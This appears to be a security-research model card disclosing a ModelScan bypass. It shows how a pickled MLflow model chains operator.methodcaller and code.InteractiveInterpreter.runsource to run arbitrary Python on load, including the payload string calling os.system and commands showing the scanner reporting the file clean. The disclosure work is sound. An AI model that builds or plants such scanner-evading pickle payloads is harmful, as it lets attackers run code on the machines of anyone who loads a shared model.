--- library_name: mlflow tags: - security-research - modelscan-bypass - code - InteractiveInterpreter - methodcaller - rce --- # ModelScan code.InteractiveInterpreter Bypass — RCE via code.InteractiveInterpreter.runsource() ## Summary ModelScan's pickle scanner uses an `unsafe_globals` denylist to detect malicious pickle operations. However, **`code.InteractiveInterpreter`** and **`operator.methodcaller`** are NOT in the denylist. This MLflow model achieves arbitrary Python code execution through `code.InteractiveInterpreter.runsource()`, while ModelScan reports zero issues. ## Attack Chain The pickle bytecode uses only two STACK_GLOBAL opcodes: 1. `operator.methodcaller('runsource', '__import__("os").system("cmd")')` → Creates a callable 2. `code.InteractiveInterpreter()` → Creates an interactive interpreter instance At load time: `methodcaller(interpreter)` → `interpreter.runsource('__import__("os").system("cmd")')` → Arbitrary Python code execution ## Why It Works - `code` module is entirely absent from unsafe_globals - `operator.methodcaller` is not blocked (only `operator.attrgetter` is) - Unlike `os.system` which only runs shell commands, `runsource()` executes arbitrary Python code ## Verification ```bash # 1. ModelScan says CLEAN modelscan -p model.pkl # Output: No issues found! 🎉 # 2. MLflow load triggers RCE python3 -c " import mlflow.pyfunc model = mlflow.pyfunc.load_model('.') " # 3. Direct pickle.load() triggers RCE python3 -c " import pickle with open('model.pkl', 'rb') as f: pickle.load(f) " ``` ## Impact - **Severity**: Critical (CVSS 9.8) - **Affected**: All pickle-based formats scanned by ModelScan - Remote, no auth needed, no user interaction - Executes arbitrary Python code (not limited to shell commands)